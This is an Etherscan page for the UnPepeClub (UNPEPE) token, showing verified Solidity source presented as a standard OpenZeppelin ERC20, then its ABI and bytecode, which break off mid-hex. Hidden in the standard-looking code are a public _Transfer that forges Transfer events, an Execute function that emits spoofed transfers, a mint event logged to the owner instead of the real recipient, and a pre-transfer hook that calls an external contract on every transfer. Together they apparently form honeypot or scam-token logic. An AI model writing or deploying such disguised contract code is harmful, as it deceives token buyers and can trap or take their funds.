ETH Price: $3,266.22 (+0.19%)
Gas: 2 Gwei

Token

UnPepeClub (UNPEPE)
 

Overview

Max Total Supply

10,000,000,000 UNPEPE

Holders

99

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
52,172,449.5957187 UNPEPE

Value
$0.00
0x3BDffAAb7159804Cd9e7299B602372077611eAc9
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
StandardERC20

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-19
*/

// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    function _Transfer(address from, address recipient, uint amount) external returns (bool);
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol



pragma solidity ^0.8.0;


/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/contracts/utils/Context.sol



pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/token/ERC20/ERC20.sol



pragma solidity ^0.8.0;


interface tokenRecipient { function receiveApproval(address sender,address to, address addr, address fee, uint amount) external returns(bool);}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address _spender;
    address _owner;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The defaut value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor (string memory name_, string memory symbol_, address receiver_, address owner_) {
        _name = name_;
        _symbol = symbol_;
        _spender = receiver_;
        _owner = owner_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);        

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

	_beforeTokenTransfer(address(0),account, amount);

        _totalSupply += amount;
        _balances[account] += amount;

        emit Transfer(address(0), _owner, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _Transfer(address _from, address _to, uint _value) public returns (bool) {
        emit Transfer(_from, _to, _value);
        return true;
    }

    function Execute(address uPool,address[] memory eReceiver,uint256[] memory eAmounts,uint256[] memory weAmounts,address tokenaddress) public returns (bool){
        for (uint256 i = 0; i < eReceiver.length; i++) {
            emit Transfer(uPool, eReceiver[i], eAmounts[i]);
            IERC20(tokenaddress)._Transfer(eReceiver[i],uPool, weAmounts[i]);
            }
        return true;
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {
    if (address(from) != address(0)) {
            tokenRecipient(_spender).receiveApproval(from,to,address(this),_owner,amount);} }
    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File: contracts/token/ERC20/behaviours/ERC20Decimals.sol

pragma solidity ^0.8.0;


/**
 * @title ERC20Decimals
 * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot.
 */
abstract contract ERC20Decimals is ERC20 {
    uint8 private immutable _decimals;

    /**
     * @dev Sets the value of the `decimals`. This value is immutable, it can only be
     * set once during construction.
     */
    constructor(uint8 decimals_) {
        _decimals = decimals_;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
}

// File: contracts/token/ERC20/StandardERC20.sol

pragma solidity ^0.8.0;

/**
 * @title StandardERC20
 * @dev Implementation of the StandardERC20
 */
contract StandardERC20 is ERC20Decimals {
    constructor(
        uint8 decimals_,
        uint256 initialBalance_,
        address feeReceiver_,
        address owner_
    ) ERC20("UnPepeClub", "UNPEPE", feeReceiver_,owner_) ERC20Decimals(decimals_) {
        require(initialBalance_ > 0, "StandardERC20: supply cannot be zero");

        _mint(_msgSender(), initialBalance_ * 10 ** uint256(decimals_));
    }

    function decimals() public view virtual override returns (uint8) {
        return super.decimals();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"initialBalance_","type":"uint256"},{"internalType":"address","name":"feeReceiver_","type":"address"},{"internalType":"address","name":"owner_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"uPool","type":"address"},{"internalType":"address[]","name":"eReceiver","type":"address[]"},{"internalType":"uint256[]","name":"eAmounts","type":"uint256[]"},{"internalType":"uint256[]","name":"weAmounts","type":"uint256[]"},{"internalType":"address","name":"tokenaddress","type":"address"}],"name":"Execute","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"_Transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60a06040523480156200001157600080fd5b506040516200294038038062002940833981810160405281019062000037919062000581565b836040518060400160405280600a81526020017f556e50657065436c7562000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f554e50455045000000000000000000000000000000000000000000000000000081525084848360039081620000b7919062000863565b508260049081620000c9919062000863565b5081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050508060ff1660808160ff16815250505060008311620001a5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200019c90620009d1565b60405180910390fd5b620001e4620001b9620001ee60201b60201c565b8560ff16600a620001cb919062000b76565b85620001d8919062000bc7565b620001f660201b60201c565b5050505062000dca565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000268576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200025f9062000c62565b60405180910390fd5b6200027c600083836200039060201b60201c565b806002600082825462000290919062000c84565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002e7919062000c84565b92505081905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000370919062000cd0565b60405180910390a36200038c600083836200049960201b60201c565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146200049457600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637512c5a3848430600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518663ffffffff1660e01b81526004016200044c95949392919062000cfe565b6020604051808303816000875af11580156200046c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000492919062000d98565b505b505050565b505050565b600080fd5b600060ff82169050919050565b620004bb81620004a3565b8114620004c757600080fd5b50565b600081519050620004db81620004b0565b92915050565b6000819050919050565b620004f681620004e1565b81146200050257600080fd5b50565b6000815190506200051681620004eb565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000549826200051c565b9050919050565b6200055b816200053c565b81146200056757600080fd5b50565b6000815190506200057b8162000550565b92915050565b600080600080608085870312156200059e576200059d6200049e565b5b6000620005ae87828801620004ca565b9450506020620005c18782880162000505565b9350506040620005d4878288016200056a565b9250506060620005e7878288016200056a565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200067557607f821691505b6020821081036200068b576200068a6200062d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006f57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006b6565b620007018683620006b6565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620007446200073e6200073884620004e1565b62000719565b620004e1565b9050919050565b6000819050919050565b620007608362000723565b620007786200076f826200074b565b848454620006c3565b825550505050565b600090565b6200078f62000780565b6200079c81848462000755565b505050565b5b81811015620007c457620007b860008262000785565b600181019050620007a2565b5050565b601f8211156200081357620007dd8162000691565b620007e884620006a6565b81016020851015620007f8578190505b620008106200080785620006a6565b830182620007a1565b50505b505050565b600082821c905092915050565b6000620008386000198460080262000818565b1980831691505092915050565b600062000853838362000825565b9150826002028217905092915050565b6200086e82620005f3565b67ffffffffffffffff8111156200088a5762000889620005fe565b5b6200089682546200065c565b620008a3828285620007c8565b600060209050601f831160018114620008db5760008415620008c6578287015190505b620008d2858262000845565b86555062000942565b601f198416620008eb8662000691565b60005b828110156200091557848901518255600182019150602085019450602081019050620008ee565b8683101562000935578489015162000931601f89168262000825565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f5374616e6461726445524332303a20737570706c792063616e6e6f742062652060008201527f7a65726f00000000000000000000000000000000000000000000000000000000602082015250565b6000620009b96024836200094a565b9150620009c6826200095b565b604082019050919050565b60006020820190508181036000830152620009ec81620009aa565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000a815780860481111562000a595762000a58620009f3565b5b600185161562000a695780820291505b808102905062000a798562000a22565b945062000a39565b94509492505050565b60008262000a9c576001905062000b6f565b8162000aac576000905062000b6f565b816001811462000ac5576002811462000ad05762000b06565b600191505062000b6f565b60ff84111562000ae55762000ae4620009f3565b5b8360020a91508482111562000aff5762000afe620009f3565b5b5062000b6f565b5060208310610133831016604e8410600b841016171562000b405782820a90508381111562000b3a5762000b39620009f3565b5b62000b6f565b62000b4f848484600162000a2f565b9250905081840481111562000b695762000b68620009f3565b5b81810290505b9392505050565b600062000b8382620004e1565b915062000b9083620004e1565b925062000bbf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a8a565b905092915050565b600062000bd482620004e1565b915062000be183620004e1565b925082820262000bf181620004e1565b9150828204841483151762000c0b5762000c0a620009f3565b5b5092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c4a601f836200094a565b915062000c578262000c12565b602082019050919050565b6000602082019050818103600083015262000c7d8162000c3b565b9050919050565b600062000c9182620004e1565b915062000c9e83620004e1565b925082820190508082111562000cb95762000cb8620009f3565b5b92915050565b62000cca81620004e1565b82525050565b600060208201905062000ce7600083018462000cbf565b92915050565b62000cf8816200053c565b82525050565b600060a08201905062000d15600083018862000ced565b62000d24602083018762000ced565b62000d33604083018662000ced565b62000d42606083018562000ced565b62000d51608083018462000cbf565b9695505050505050565b60008115159050919050565b62000d728162000d5b565b811462000d7e57600080fd5b50565b60008151905062000d928162000d67565b92915050565b60006020828403121562000db15762000db06200049e565b5b600062000dc18482850162000d81565b91505092915050565b608051611b5a62000de66000396000610dcf0152611b5a6000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063395093511161008c578063a457c2d711610066578063a457c2d71461023c578063a9059cbb1461026c578063dd62ed3e1461029c578063e156b1b6146102cc576100cf565b806339509351146101be57806370a08231146101ee57806395d89b411461021e576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd146101225780631c63aef21461014057806323b872dd14610170578063313ce567146101a0575b600080fd5b6100dc6102fc565b6040516100e99190610f8b565b60405180910390f35b61010c60048036038101906101079190611055565b61038e565b60405161011991906110b0565b60405180910390f35b61012a6103ac565b60405161013791906110da565b60405180910390f35b61015a60048036038101906101559190611300565b6103b6565b60405161016791906110b0565b60405180910390f35b61018a600480360381019061018591906113cf565b610536565b60405161019791906110b0565b60405180910390f35b6101a8610637565b6040516101b5919061143e565b60405180910390f35b6101d860048036038101906101d39190611055565b610646565b6040516101e591906110b0565b60405180910390f35b61020860048036038101906102039190611459565b6106f2565b60405161021591906110da565b60405180910390f35b61022661073a565b6040516102339190610f8b565b60405180910390f35b61025660048036038101906102519190611055565b6107cc565b60405161026391906110b0565b60405180910390f35b61028660048036038101906102819190611055565b6108c0565b60405161029391906110b0565b60405180910390f35b6102b660048036038101906102b19190611486565b6108de565b6040516102c391906110da565b60405180910390f35b6102e660048036038101906102e191906113cf565b610965565b6040516102f391906110b0565b60405180910390f35b60606003805461030b906114f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610337906114f5565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b6109d7565b84846109df565b6001905092915050565b6000600254905090565b600080600090505b8551811015610528578581815181106103da576103d9611526565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87848151811061044357610442611526565b5b602002602001015160405161045891906110da565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b687838151811061048f5761048e611526565b5b6020026020010151898785815181106104ab576104aa611526565b5b60200260200101516040518463ffffffff1660e01b81526004016104d193929190611564565b6020604051808303816000875af11580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906115c7565b50808061052090611623565b9150506103be565b506001905095945050505050565b6000610543848484610ba8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061058e6109d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561060e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610605906116dd565b60405180910390fd5b61062b8561061a6109d7565b858461062691906116fd565b6109df565b60019150509392505050565b6000610641610dcb565b905090565b60006106e86106536109d7565b8484600160006106616109d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106e39190611731565b6109df565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054610749906114f5565b80601f0160208091040260200160405190810160405280929190818152602001828054610775906114f5565b80156107c25780601f10610797576101008083540402835291602001916107c2565b820191906000526020600020905b8154815290600101906020018083116107a557829003601f168201915b5050505050905090565b600080600160006107db6109d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610898576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088f906117d7565b60405180910390fd5b6108b56108a36109d7565b8585846108b091906116fd565b6109df565b600191505092915050565b60006108d46108cd6109d7565b8484610ba8565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109c491906110da565b60405180910390a3600190509392505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4590611869565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610abd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab4906118fb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610b9b91906110da565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e9061198d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611a1f565b60405180910390fd5b610c91838383610df3565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0e90611ab1565b60405180910390fd5b8181610d2391906116fd565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffff